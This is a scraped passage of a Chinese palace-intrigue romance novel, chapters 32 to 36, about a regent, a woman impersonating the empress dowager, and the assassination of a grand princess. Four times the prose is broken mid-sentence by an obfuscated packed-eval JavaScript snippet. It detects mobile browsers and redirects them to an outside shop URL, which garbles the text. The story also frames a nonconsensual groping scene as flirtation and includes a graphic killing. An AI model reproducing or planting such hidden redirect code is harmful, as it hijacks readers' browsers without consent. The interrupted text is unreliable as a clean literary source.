李穆面红耳赤,口不择言道:“我告诉你,我李穆从来就不是什么好人。今时今日,哪怕我跟你小妹没有和离,我也会想方设法把你弄到手!你逃不出我的手掌心。” 朱凝眉脸上没有半点血色,她冷冷地看着他,像看着陌生人似的,毫不在意地笑笑。 她早知道李穆不是好人。 只是、只是因为过往的那点恩爱,才一直丢不开那些记忆。 如今听他亲口说出来,心碎的同时,反倒豁然开朗。 李穆见她目光空空,似落花摇摇欲坠,心中隐隐作疼。 他并非君子,也从来不以善人自居。 他想得到什么,从来都是豁出性命去争、去抢。 她喜欢谦谦君子,可他不是! 先帝也不是。 能坐上龙椅的,会是什么好人? 先帝已经去世,她只记得先帝的好,他强行与她争论,只会惹她厌烦。 李穆思来想去,决定认输,重新将她搂入怀中,哄道:“别气了,我说给你听。我刚回京城时,门槛都被媒人踏破,可我心里只容得下你。” “在朱家十六年,马厩便是我的家。到朱家谢恩时,我回家看了看。” “途经内院梅林,我本该回避,可你小妹身着单衣,跪在雪中为母祈福——我不由得驻足停留,心想这女子良善,若我将来生病,她会不会也愿为我跪在雪中祈福?” “别笑话我!你没上过战场,不知危机关头,人都是靠着念想才活下来的。你就是我的念想,念着你的名字,我从死人堆里一次次爬出来。我想娶你,可你却入宫成了皇后!我再不甘心,也知道自己没资格跟皇帝抢女人。” “我听说,你父亲竟要将你小妹嫁给克死三个老婆的鳏夫,那鳏夫府里还有七八个孩子。我顿时怒从心起,心想哪怕是为着你,我也该帮她。” “我也瞧不上别的女子,还不如娶你小妹,还能借着妹夫的身份见一见你。” “哎,我真是没脸跟你说这些事……谁成亲是奔着和离去的呢?我当然想跟她好好过日子,生一堆儿女。就算她不是我最爱的女子,她也终归是我的妻子,我自然会好好待她。可惜她不喜欢我,还嫌弃我粗鄙,成亲第二日便要与我和离。” “跟她和离的那阵子,我心里也难受。”他摸摸她冰凉的脸颊,继续道:“除你小妹外,我再也没找过别的女子。哪怕我现在的妻子夏芍,也是你妹妹留下的侍女。” “说起夏芍,那也是笔糊涂账,有回我喝醉,稀里糊涂就让她怀孕——恰好我也需内眷帮我应酬,打理家务,索性便娶她。” 朱凝眉冷冷地注视着他,听他用占着理的语气,毫无愧色地谈论着她。他谈论到她时,那种轻蔑和怜悯,让她气恼。 可她不能生气,还得继续扮演假太后,跟他纠缠。 “这些年,你一直守身如玉,我该夸夸你,是吗?”朱凝眉讽笑着问。 李穆虽多年不近女色,却也称不上守身如玉,毕竟夏芍还给他生过孩子。 现在她正生着气,李穆也不方便解释,他跟夏芍就那样稀里糊涂地睡过一次,之后便再也没有接触。 李穆思来想去,只好深深喟叹:“倒也不用,你别总翻旧账就行。你看,你和那野种父亲的事,我也没多问——” “闭嘴!”朱凝眉大吼。 幽幽烛光下,李穆坐在软榻上,眸光晦暗,仿佛要击穿她的灵魂,看到她心里去。 朱凝眉被这假太后的身份束缚着,没办法理直气壮地跟他吵一架,只能窝窝囊囊地躺下,脸朝着窗口滚,背对着李穆。 “我困了,你走吧,我现在不想看见你。”朱凝眉闷声道。 李穆没有走,他靠过来,贴着她的后背,给她按揉肚子。 她闭着眼睛,呼吸里全是他的味道,连殿内的熏香味都淡。 李穆侧着身子给她揉肚子不方便,将她扶正,让她维持躺着的姿势,曲着腿坐起来帮她揉肚子。 朱凝眉哼哼两声,当作反抗,继续闭着眼睛装睡。 但不知是今晚太困,还是李穆给她揉肚子舒服得有些过分,她居然不再生气,不知不觉地睡着。 听到身侧传来均匀的呼吸声,李穆这才从她衣服里把手抽出来,给她盖好被子,顺势熄灭屋里的蜡烛。 乌云散去,月光露出来。 李穆就着淡淡的月光,注视着她的睡容,手指轻轻在她娇嫩的脸颊上温柔地摩挲。 而她沉浸在美梦中没有醒来。 李穆抚摸着她纤细的脖子,若在战场,她的脖子落在敌人手中,只怕轻轻一捏就会碎。 她如此脆弱,不堪一击,脾气却那么大! 李穆怕自己继续待在这里,会忍不住吵醒她,在她脸颊上亲亲,便起身走。 回到住处,李穆躺下,翻来覆去也没有睡着。 脑子里想的全是他那个前妻朱凝眉。 记忆如一团白雾笼罩,他发现自己竟记不清朱凝眉的模样,脑子里只剩模糊的影子。 这两姊妹,长得有点像。 他前妻怯弱,除了爱哭,再也找不出其他毛病。 小姑娘娇娇的,性子温驯,比她那当太后的姐姐,温柔可爱了许多。 偏偏他是个贱骨头,爱惨了安宁宫里那个犟种。 不过这两姊妹,性子却是如出一辙的倔。 那时他们虽有婚约,但李穆却不敢唐突她,始终对她以礼相待。 可他们第一次亲吻,竟是她先主动的。他们正说着话,她居然揽住他的脖子,吻过来。 她看着柔柔弱弱,实则是个有主意的,居然敢主动亲他。 那是李穆第一次被女人吻住,内心狂喜,兴奋又激动。 温柔可爱的朱凝眉缠住他,抚慰他心口的疼痛。 他闭上眼睛,慢慢拾起一些记忆碎片,朱凝眉喜欢缠着他,叽叽喳喳地跟他说话。 想起她在新婚第二日,就那样一声不吭地走了,李穆心里竟有些隐隐地疼。 他到现在也没忘记朱凝眉,可朱凝眉却瞧不上他。 与朱凝眉订婚后,他其实想过要忘记朱雪梅,和朱凝眉好好过日子。 婚后,他想让她多生几个孩子,因为他在军营里过惯热闹日子,不习惯家里冷冷清清。 可新婚第二日,她便弃他而去,提出和离。 那日,李穆从床上醒来,接过夏芍手中那道和离书,还捂着眼睛笑。 因他是第一回成亲,洞房。 夜里难免冲动,隐约记得圆房时她哭得厉害,也不知是不是受了伤。 当时李穆以为她是胆小,才哭着要跟他和离。 李穆笑完,决定低声下气地去朱家,耐着性子把她哄回来。 可他到了朱家,坐在屏风后,亲耳听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630760|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她嫌他是马夫;怪他粗鲁;说睡在他身侧是一种折磨;想到日后要跟他这样粗鄙的人过日子,还不如立即抹脖子上吊。 李穆心碎,立即同意和离。 但他和离之后,好一阵都没睡好觉,成日喝酒,醉生梦死。 他总是忍不住想念她。 明明是她先招惹的他,她主动吻的他,怎么又嫌他粗鄙呢? 女人心思,真是捉摸不透。 恍恍惚惚间,他想起岳母过世时,朱凝眉跪在灵堂里,隔着人群看向他,那茫然无措的目光仿佛钻入他心底。 李穆心疼她柔弱无依,在岳母灵前起誓,今后定会照顾好她。 想起这些,心口又疼了! 是他一厢情愿,她嫌他粗鄙。 李穆不愿强人所难,爽快地同意和离。 幸得老天垂帘,他失去妹妹后,又重新得到姐姐。 李穆睡不着,干脆坐起来等天亮。 朱凝眉毕竟是他第一个女人。 他那时只顾伤心,什么都没给她。 哪怕与她和离,他也该多给她些钱财傍身才是。 毕竟他在岳母面前发过誓,要好好照顾她,一辈子善待她。 辗转反侧一夜,终于等到天亮,李穆起身去往勤政殿。 朱归禾正在给小皇帝讲《孟子》,却看到李穆黑着脸闯进来。 可是李穆进来后,也没说什么,只黑着脸坐在一旁,耐心等着朱归禾把课讲完。 朱归禾给小皇帝布置作业后,才到李穆面前,两人目光对视一瞬,一同走出去。 “忠勇侯找我,所为何事?” 自从先帝去世,朱归禾还是第一次见李穆这般有耐心。 本来他可以讲快一点,但他很愿意欣赏李穆那不耐烦却又硬生生逼着耐心的模样。 朱归禾心里痛快,故意拖长些时间,把一些皇帝本就明白的内容又讲得更加仔细。 不过,李穆折腾一晚上都没睡好,也不在乎再多等会儿。 “朱太傅,你妹妹——我是说你小妹,朱凝眉,她如今在哪里?”李穆定定地看着朱归禾。 朱归禾心头一跳,暗道不好,难道李穆发现了什么?他仔细端详着李穆,见他虽然满眼焦急,却仍旧待自己彬彬有礼,心里又有些犹豫。 “你问我小妹做什么?”朱归禾满脸防备。 李穆有些拉不下脸,毕竟有些理亏。 李穆摸摸鼻子,板着脸,正色道:“我想起当初和离的时候,没有将事情处置妥当,心里有些后悔。” “你们都和离了五年,现在才后悔,是不是有些晚了?”朱归和下意识讽刺他。 话说出口,便有些后悔。 才过上安稳日子没多久,他怎敢在李穆面前如此放肆?眼前之人,毕竟个杀人不眨眼的枭雄。 朱归禾一时不敢看李穆的表情,只是佯装生气,把眼神投向别处。 须臾,李穆不辨喜怒的声音响起:“朱太傅,你这是在怪我吗?” 朱归禾想起小妹这些年受的苦,忽然就把生死置之度外了,他不高兴地道:“你和离之后便一直没问过她,现在问又有何用?” “朱太傅是觉得我不敢杀你吗?”李穆居高临下地看着他,声音冷得像冰碴:“我杀你易如反掌,别以为有太后护着你,我就不敢动手!” “多谢你提醒我,我还有个妹妹是太后。”朱归禾忽然安心了,轻松地笑了笑。 李穆自然不敢动手,他要是敢对朱归禾做点什么,日后便别想再踏入太后寝宫。 想了想,李穆道:“我只是想知道,这些年来她过得好不好!我后悔是因为当年和离之时,没能多给她些钱财傍身。” “请忠勇侯放心,她如今过得很好。她又嫁人了,还生了孩子,婆家人待她极好,她与夫婿感情和睦,早忘却前尘。”朱归禾看着李穆,又补充了一句:“我猜她再也不想见忠勇侯。” “我也没想找她!”李穆顿了顿,又不甘心地道:“是太后想她。朱太傅,她嫁去了哪里?夫婿姓甚名谁?在何处任职?” 33. 第 33 章 朱归禾嘲讽道:“忠勇侯是想把我朱家的两颗明珠都纳入囊中?吃着碗里,看着锅里,我就没见过比你更不要脸的人!” “这是我的命令!”李穆眸光冷冽,声音拔高:“你要反抗吗?” 朱归禾毫不示弱地掀起眼皮,淡声道:“要杀要剐,悉听尊便。” 李穆被噎住,他不甘心,为什么这些人都把他当作色中饿鬼? 他的人品有这么恶劣吗? 朱归和视死如归,他见李穆逐渐抬起手,闭上眼坦然赴死。然而,那只手并未取他性命,只是轻轻拍在他肩膀。 李穆本不想解释,却又不得不窝窝囊囊地解释:“你误会了,我是想提携她夫婿,让夫家对她更看重,我不会打扰她。” 如今朝堂局势被李穆操控,满朝文武生死皆由他主宰。 但身为帝师的朱归禾洞若观火,在阴云笼罩中预见未来,看清楚权势迭代的方向。 他睁开双眸,仿佛看透世间所有一切:“如无必要,你们不必再见。本就没什么牵扯的两人,忽然又生瓜葛,你叫她在夫家如何做人?若忠勇侯将来无法再庇佑旁人,到那一刻,你让她如何自处?” 李穆深深吸了口气,痛意钻入肺腑。 她胆小,遇到事,只会哭。 李穆又想起她着一身孝跪在岳母灵前双眸无措地看他的模样。 他被朱归禾几句话呛得满脸通红:“你说得对,我不能出面。烦请你帮我多照顾她吧,若需要银子,尽管找我来取。” “没必要!我的小妹,我自会照料,不必劳烦忠勇侯惦记。” 话已至此,多说无益,李穆只能抱憾离去。 昨日李穆心情不错,今日他的属下也放轻松。 大家聚在一处,荤话张口就来,嬉笑喧哗。 李穆走进承乾宫的偏殿,他往常都会在这里审阅陆憺批复的奏折。 此时下属们见他意兴阑珊,纷纷禁声,各自散开。 章忠硬着头皮走到李穆身边,问:“今日侯爷气色不佳,可是身体不适?” 李穆皱眉露出倦容,摇摇头,捏着羊毫笔的手指却有些发白,他沉思许久,才慢悠悠道:“帮我去办一件事!” 章忠见他没有接着往下说,便把耳朵凑过去,听他嘱咐。 李穆说完,面无表情地看着章忠,语气不容置疑:“就按我说的去做!” 章忠第一次接到这么简单的差事,有些摸不着头脑。 但李穆表情严肃,他只能应道:“属下明白,属下这就去办。” 李穆让章忠前往渡孤巷,去寻一个没有手指的乞丐。 这位乞丐很有名,他叫陈适意,虽腿骨断裂,失去十指,可他才华横溢,常有人慕名而来,找他帮忙写文章。 章忠给了陈适意一盒银子,拱手道:“家主倾慕陈先生之才华,特命小人前来,恭请先生执笔,惠赐青辞佳作。” 陈适意看了眼盒子里的银元宝,点头,让徒弟执笔,由他口述,一篇青辞不到半个时辰便已跃然纸上。 章忠捧着青辞,喜不自胜。 第二日,章忠又带来一盒金子,请陈适意帮忙修缮族谱。 这本族谱历经几百年,后人查出几处纰漏,却因才疏学浅,不敢动笔更改。但这种更改,在陈适意看来,只是稀松平常。 于是不到半个时辰,一盒金子又到手。 第三日,章忠依旧上门。 陈适意笑道:“又给我送钱来了?” 章忠打开盒子,里面装着一沓银票,他道:“家主人向来惜才,昨日打听到先生遭遇,竟垂泪半宿。故命属下送来钱财,希望先生后半生衣食无忧,还望先生莫要推辞。” 陈适意没有推辞,只是笑道:“我明白了,你家主人与长公主有仇!” 章忠愣住,这乞丐怎知他的主人与长公主结了仇? 陈适意道:“回去禀报你主人,陈某感谢他赠送钱财,了却心事。常言道,敌人的敌人,便是朋友,虽此生无缘相见,但陈某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639969|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已将他视为知己。我会将事情处理得干干净净,不让人抓住他的把柄。” 章忠再次摸不着头脑,但将陈适意的原话转告给李穆。 翌日,陈适意重金悬赏江湖杀手。 深夜,有一黑衣人来到陈适意住所,领了重金,答应帮他杀死仇人。 天亮后,大长公主被五个面首,若干侍卫前呼后拥着出门看戏。 半路,长长的队伍被拦截,一个黑衣蒙面人站在队伍前方,举着剑道:“无关人等都让开,我只取大长公主性命。” 侍卫们自然不能让,非但不能让,还要拔出武器,与黑衣人浴血鏖战。 侍卫们死的死,伤的伤,黑衣人迅速来到大长公主面前,举着剑对她道:“取你性命之人,名叫陈适意,多年前他写了首诗,揭露你的狠辣恶毒、残忍行径。你对他怀恨在心,命人打断他的腿骨,砍了他十根手指,让他从此只能靠乞讨为生。” 侍卫当众,还有活口,自然听到了这番话,也都想起了当年陈适意的悲惨遭遇。 大长公主恶贯满盈,她今日得此报应,不冤。 大长公主双腿发软,急切道:“他一个无权无势的臭乞丐,如何能杀我?世上能杀我者,唯有李穆。” “李穆是谁?算了,这不重要。”黑衣人道:“受死吧!” “等等!”大长公主颤颤巍巍地喝道:“我知道了,你不是李穆的人,你是太后的人!” 黑衣人被大长公主气笑,道:“你是怕一个人走奈何桥太寂寞吗?为什么非要拉个垫背的跟你一起走?我既不认识李穆,也不认识太后,我只认识陈适意。是他给我钱来买你性命!你还可以再说最后一句废话,说完我送你上路。” 大长公主坚持相信,杀自己的人不是太后,就是李穆。 她尖声笑道:“我还知道一个李穆最关心的秘密,事关一个四岁女孩的身世,可我不能当众说出来。你过来,我把这个秘密告诉你,你拿着这秘密去找李穆,他一定会放过我!” 34. 第 34 章 黑衣人冷冷道:“你都说是秘密了,就让它永远成为秘密吧!” 话音落,冰冷的剑悄无声息般刺入大长公主胸口,剑柄微动,心脏被搅碎。 大长公主瞪大双眼,她不甘心就这样平凡赴死,她无数次幻想过自己死亡时的场面:她躺在华丽的寝殿,寝殿内跪满一群爱她的人,他们都在为她即将离开这个世界而悲伤流泪。 可现在,她身边没有一个亲人。就连那几个她最宠爱的面首,因为恐惧而躲得远远的,他们甚至不敢抬头看她。 大长公主的嗓子被血呛住,发不出任何声音。 就在此时,那黑衣人刻意压低的嗓音发生改变:“大长公主,微臣送您上路!” 大长公主狰狞的表情忽然凝滞,微愣了一下,眼神忽然充满恨意! 她激动得伸出手往前抓,却抓了个空,嗓子里也只能发出“荷荷”的声音。 她终于后悔,不该拿着那个孽种的身世秘密去威胁朱雪梅那个贱人! 她应该直接找李穆! 可惜,她没有把握住这个机会,反而给自己惹来灾祸。 黑衣人抽出沾满血的剑,嫌弃地在大长公主裙子上擦拭掉血渍,然后才潇洒离开。 大长公主捂着心口,从马车上摔下来,倒在地上,睁大一双死不瞑目的眼,口中时不时冒出鲜血。 一个时辰后,大长公主被刺杀的消息才传入宫中。 朱凝眉月事来了疼得正厉害,躺在床上动都也能动,忽听大长公主被刺身亡,顿觉大快人心,连身上的痛也不觉得痛。 她提醒自己,别表现得太高兴。 借着,她担惊受怕地看向悦容,生怕悦容把大长公主的死和自己联系在一起。 但月榕只是有些惊讶:“怎么会被刺杀?” 顿了顿,又道:“这刺客也算替天行道,做了件好事。” “你别说了!” 这是朱凝眉第一次在悦容面前疾声厉色。 悦容想到死去的大长公主是皇帝的姑母,她不该太高兴,于是连忙低下头,掩饰住眼中的兴奋。 宫里的人,谁不恨大长公主? 尤其悦容的师父死在大长公主手里。 那日师父教她,给贵人沏茶时,要等茶水凉到什么程度才能端上去。 悦容第一次沏茶,胆战心惊。 后来,大长公主嫌茶水滚烫,要责问沏茶宫女,悦容吓得身子抖如糠筛,走不动路。 师父见她可怜,怕她说错话得罪大长公主,丢了性命,便帮她顶了罪,没想到却把自己给搭了进去。 想起这些事,悦容仍然认为大长公主百死难解她的恨。 “悦容,给我换身衣裳,我要去看看陛下。” 朱凝眉心情起起伏伏,在短暂的心虚过后,她开始担心陆憺。 他年纪尚小,也不知是否能承受至亲离世的痛。 朱凝眉想起母亲离去的时候,她觉得天都塌了。 幸好,那时李穆陪她守夜,陪她为母亲举行丧葬,陪她接受失去母亲的痛苦。 李穆待她好过,她从未忘记,所以当年她才会幻想着李穆对她好是因为爱她。 可李穆需要的只是个听话的妻子,能帮他打理后宅,维系应酬关系就行。 她不愿意过那样的日子。 更不想守着不爱自己的丈夫,夜夜流泪独坐到天明,去苦等一份永远不会来临的爱。 寝殿内,陆憺靠着墙,坐在地上默默垂泪。 “滚啊!我叫你们都滚。”陆憺听到有人开门,头也没抬,便吼了一句。 “陛下,是我。”朱凝眉道。 “母后,姑母死了。”陆憺看见来人是朱凝眉,终于不再忍耐,哇的一声哭了出来,声音颤抖得讲不出一句完整的话:“我以后,没有亲人了,我好难受,为什么都扔下我?” 他哭得很伤心,仿佛受到天大的委屈。 朱凝眉陪着陆憺坐在地上,用帕子给他擦眼泪,可是陆憺的眼泪越来越多:“为什么他们都不要我了?” 朱凝眉捧着他的脸,丝毫没有像第一次见到陆憺时那样,把他当作皇帝。 此刻,她就是陆憺的母亲! 陆憺在极度伤心之下,似乎也忘了这层隔阂,扑进她怀里:“母后,你别离开我!” 陆憺口中的母后,是她姐姐朱雪梅吗? 寝殿外有金吾卫当值,朱凝眉为了不让他们起疑,努力安慰陆憺:“你是我的孩子,我当然不会离开你!” 陆憺语不成句地哽咽:“表姐说,姑母是被李穆杀死的。母后,我害怕不久之后,也会被李穆杀死。母后,我不想死啊!” 朱凝眉抚摸着他的头,道:“有母后在,没有任何人可以伤害你!” 陆憺抬起头,眼中有泪,目光含恨:“可我不喜欢你和他走得太近,李穆这个居心叵测的小人!总有一天,朕要杀了他!” 朱凝眉看着陆憺,严厉道:“想活命就别再说这种话!” 朱凝眉用眼神暗示陆憺,殿外有金吾卫,他们会把今日他们之间的对话全部告诉李穆。 陆憺却满不在乎地道:“我就是不喜欢他!如果不是他居心叵测,母后怎么会失踪三个月?若非李穆,姑母现在还好好地活着呢。如今母后为了我,勉强自己与李穆虚与委蛇,难道您心里没有恨吗?” 朱凝眉被问住了。 站在朱凝眉的立场,她当然恨李穆,可这种恨是因为她对李穆付出的爱从未被看见、从未被认可,也没有得到同等的爱。 她恨李穆,只希望有朝一日,李穆也能尝遍她曾受过的苦,却从未想过让他死。 她虽是假太后。 站在太后的立场,她更不想让李穆死。 若没有李穆,小皇帝现在要面对的是野心勃勃的藩王;争权夺利的朝臣;还有那些他没有能力处理的政务。 是李穆借“挟天子令诸侯”的恶名形成一堵看不见的墙,把陆憺保护在宫墙内。 从她知道李穆用严厉的态度逼着陆憺读书开始,她就一直在想,为什么先帝会向李穆托孤。 他身上究竟有什么值得老皇帝信任的地方? 难道老皇帝就不担心自己死后,儿子被李穆欺负? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655160|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆憺见她不吭声,更加理直气壮地问:“母后跟我一样恨着李穆,为何不准我骂他泄愤。” “我不恨他!”朱凝眉斩钉截铁地说出自己的想法:“身为太后,身为陛下母亲,我不恨李穆。” 陆憺不敢置信地看着朱凝眉。 “若你心里有恨,为什么不恨先帝。你该恨他提防外戚夺权不肯将权利交给自己的妻子?或者恨他不将权利交给你最爱的姑母?甚至是与他血脉相连的秦王?因为先帝顾虑重重,最后选择了李穆,却连累妻儿被李穆欺负。你难道不恨先帝?” 陆憺神色窘迫,因为他被李穆欺压时,心底也有过同样的念头。 朱凝眉见他听进去了,才继续道:“你还小,没有掌权的能力,我先帮你笼着李穆。别再为死去的人伤心了,好好读书,好好跟着太傅学本事,早日从李穆手中把权力要回来!” 陆憺冷笑:“可我能要得回来吗?母后太抬举我。” “如今李穆掌权,你口无遮拦,图一时痛快,得罪了他。你猜他是会因为你的话而难过一整夜呢?还是会对你小惩大诫?若李穆贪图权势,心胸狭窄,就凭他手上有四十万大军,掌管京城军防,他想杀你篡位易如反掌。” “若先帝再多活几年,活到你能亲政时,李穆便能成为你的左膀右臂,凭他立下的赫赫战功,他定能成为千秋不朽的名将。可是现在,他只能当个乱臣贼子,以凶煞之名,帮你挡住宫外那些腥风血雨!” “他不图你上进,又何苦逼你读书?若他想让你颜面扫地,何必帮你批阅那些让人头疼的奏折?坏事他来做,罪名他来担。你只要不学坏,几年之后亲政,谁不夸你一句明君?但李穆从被先帝托孤的那一刻起,注定要成为史官笔中的佞臣。李穆难道不委屈吗?” 陆憺脸胀得通红,死死咬着唇,泪在眼眶里打转。 朱凝眉狠话说尽,敲打完陆憺后,又当慈母温柔安抚:“若李穆当真有杀你之心,大不了我陪你一起死,黄泉路上我们母子做伴,也不算孤单。若有来生,我还做你的母亲!若李穆是忠臣,愿倾尽一切扶持你亲政,护你安安稳稳坐住皇位。你愿意还他清明吗?” 陆憺迟疑一瞬,点点头。 人心易变,或许此刻陆憺点头是出自真心。 可几年之后,他长大了,会怎么想呢?不过她也管不了这么远了,此刻先安抚好他再说。 几年之后的事,几年之后再发愁吧。 殿外,梅景行听完朱凝眉这番话,再一次对她刮目相看。 她整日不出寝殿,只坐在院子里的海棠树下晒太阳,她是怎么知道这些事的?就连陆憺本人都想不透的事,竟被她悟到。 突然,一个高大的身影悄无声息地出现在梅景行身后。 梅景行看一眼李穆,心道:李穆果真有福气,原以为她是个没脑子只知道哭的女子,没想到她竟这般聪慧透彻,脾气性格又好!但他又是个没福气的,留不住人,新婚第二日便被和离。日后真太后回宫时,这两人恐怕还得再闹一次。 李穆冷冷道:“看什么看?你这个司礼监大总管就这么闲?” 35. 第 35 章 梅景行跪下,却理直气壮道:“奴婢并非有意偷听,是太后娘娘命奴婢守在这里,随时听从娘娘召唤。倒是侯爷,此时前来,所为何事?陛下今日痛失至亲,情绪悲愤,求您看在太后娘娘在陛下面前如此维护侯爷的份上,切莫动怒。” “谁动怒?陛下是君,我是臣,我怎敢对陛下动怒?都是你们这些狗奴才,总在陛下面前胡咧咧,挑拨我和陛下的关系!”李穆一脚踹上梅景行的心窝。 李穆踹得不重,可梅景行却身子往后倒,夸张地滚几个圈,撞倒在寝殿的门上,发出嘭的一声响。 李穆知道自己被他算计了,暗骂一声狗奴才! 果然,殿门打开,太后从里面出来,把梅景行扶起来,冷着脸问:“你们在吵什么?” 她说的是“你们”,可眼神却只盯着李穆,李穆蓦然生出几分委屈。 朱凝眉把眼神从李穆身上挪开,和气地对梅景行道:“你去伺候陛下用膳。” 朱凝眉有过切身体会,人只要能吃得下饭,睡得着觉,不管天大的事都能撑过去。再多的悲伤,也会被时间遗忘。 回安宁宫的路上,朱凝眉对李穆没什么好脸色,但李穆看她的眼神却格外温柔。 朱凝眉觉得诡异:“你怎么这样看着我?” “对你刮目相看!”李穆笑道:“我从前只觉得你被先帝宠坏,光有脾气,没有脑子。遇事只知道哭,只知道逃,不敢面对。” 这是在夸她吗?为何她听完却觉得心里不舒服? 只是听到李穆这番话,她终于明白,为何她破绽重重,李穆还是相信她是真太后。他不了解朱雪梅的性子,她永远冷静从容,很难从她的脸上看到情绪波动,若有,也是嫌弃和无奈。 也是这个瞬间,她明白姐姐为何要抛下这一切离开。 皇宫里没有情爱,只有算计。 姐姐深爱陛下,而陛下看似对她深情,却不愿交付信任,反而安排她用美人计安抚李穆,哄着李穆甘愿赴死。 也难怪李穆会发疯地吼出那句:“你们趴在我身上,吸我的血,啃我的肉,哪怕我还剩几根骨头,也要拿我的骨头去熬汤!” 朱凝眉琢磨一通,准备暂时放弃她与李穆的个人恩怨,安心扮演太后,安抚随时会发疯的李穆。 “你现在知道也不算晚,以后别再得罪我,不然小心你怎么死的都不知道!” 朱凝眉扬起下巴,自认为威风凛凛地说出这句话。 却不知她这嚣张跋扈的模样,落到李穆眼中,是何等可爱! 李穆弯腰,热气喷在她的耳畔:“我只想死在你的肚皮上。” “你也就这点出息!” “这还不够有出息?难道你希望我许愿和你一起白头偕老,同葬一棺?” “你不是将军吗?我以为你希望自己死在战场上,若能在嘹亮的军歌中,马革裹尸而还,也算不负此生!” “嗯,有时护送弟兄们的遗体回营,也曾为他们的死感到骄傲。可我更害怕知道,盼他们回家的亲人在听到噩耗之后是什么心情。” 长叹一声后,又道:“更害怕自己死的时候,没有人为我伤心。” “放心,若你将来死在战场上,我去替你收尸,送你入葬!” 朱凝眉心里又恨他,又可怜他。 她收敛情绪,淡淡道:“李穆,你我都是天地中的一粒尘埃。你注定青史留名,成为万千星辰中的一颗璀璨明珠,为后人敬仰。我希望你不要执着于小情小爱,被泥水践污你的马蹄。” “后人愿意敬仰谁,那是后人的事!死了便是没了,死人什么也不知道,还管这些事?他们骂我还是夸我,谁在乎?我只愿活着的时候,好好享受!” 李穆望着她坏笑,把她搂在怀里,趁没人注意,迅速在她鼓囊囊的大柰子上重重捏了一把,无耻至极地道:“比起马革裹尸,我更愿意死在你的肚皮上。” 这个油盐不进的混蛋。 朱凝眉胸口剧疼,却又羞涩地不敢呼痛,只红着脸,气呼呼地转身,不肯再跟李穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671715|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说一句话。 李穆望着她瘦削的背影,手掌处绵软的余温还在。 他吊儿郎当地看着自己的手,不明白她究竟怎么长的,身上别的地方找不出二两肉,唯独那处长得恰到好处,手掌堪堪一握。 李穆护送朱凝眉回到安宁宫。 朱凝眉见他不走,冷冷道:“忠勇侯应该很忙,我不好耽误您的时间。悦容,帮我送客!” 悦容鼓起勇气抬头,可看着李穆面无表情的脸,默默后退半步。 悦容不敢送客,低声对朱凝眉道:“娘娘,奴婢不敢!” 朱凝眉狠狠盯着李穆,指桑骂槐道:“没出息的东西。滚出去,别弄脏了哀家的寝殿!” 悦容知道朱凝眉不是在骂自己,挨了骂也不生气,反而找到借口,乖乖滚出寝殿。 朱凝眉心里暗骂她不讲义气! 李穆脸皮厚,挨了骂也无所谓,反而逗她:“大长公主死前,说有个秘密想告诉李穆——” 朱凝眉沉默不语,如坐针毡。 她能肯定,李穆还不榕姐是他女儿。 如果他知道,便不会如此冷静。 可他知道多少细枝末节呢? 大长公主便是沿着蛛丝马迹,顺藤摸瓜,发现榕姐是李穆的孩子。 这秘密还能藏多久?能撑到姐姐回宫那日吗? 若是撑不到怎么办? 若李穆同时知道榕姐是他女儿,知道她假扮太后欺骗她,他会怎么对待自己? 想到最坏的可能,朱凝眉顿觉惊悚。 “我对大长公主的秘密不感兴趣,你不必说给我听!”朱凝眉铁青着脸,装出毫不在意的模样,但她紊乱的呼吸却将她出卖。 李穆见她强忍着痛苦,双眸无助,不由得后悔。 他对秘密并不好奇,只好奇这个秘密是否与自己有关,否则她为何如此紧张? “我不信大长公主的话,我只信你的话。”李穆道:“若你不想让我知道这个秘密,我可以什么都不信!” 36. 第 36 章 朱凝眉顿住,不可置信地看向李穆,嘴唇微抿,心忽然跳得厉害。 她被李穆热情的目光,看得心慌意乱。 她冷静地提醒自己,李穆正在看着的人是朱雪梅,不是朱凝眉。 呼吸慢慢缓下来,她重新冷静下来。 朱凝眉起身,走到李穆身边,白皙的手腕环住他的脖子,在他腿上坐下。 